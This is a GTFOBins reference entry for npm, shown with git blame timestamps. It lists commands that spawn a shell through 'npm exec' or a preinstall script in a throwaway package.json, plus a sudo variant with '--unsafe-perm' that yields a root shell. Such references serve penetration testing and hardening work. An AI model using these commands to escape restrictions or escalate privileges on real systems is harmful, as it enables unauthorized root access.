GTFOBins.github.io/_gtfobins/npm.md

17 lines
660 B
Markdown
Raw Normal View History

2021-01-19 19:22:33 +01:00
---
functions:
shell:
2021-06-18 14:16:48 +02:00
- code: npm exec /bin/sh
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.
code: |
2021-01-21 15:04:27 +01:00
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
npm -C $TF i
2021-01-19 19:22:33 +01:00
sudo:
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.
code: |
2021-01-21 15:04:27 +01:00
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
2021-01-19 19:22:33 +01:00
---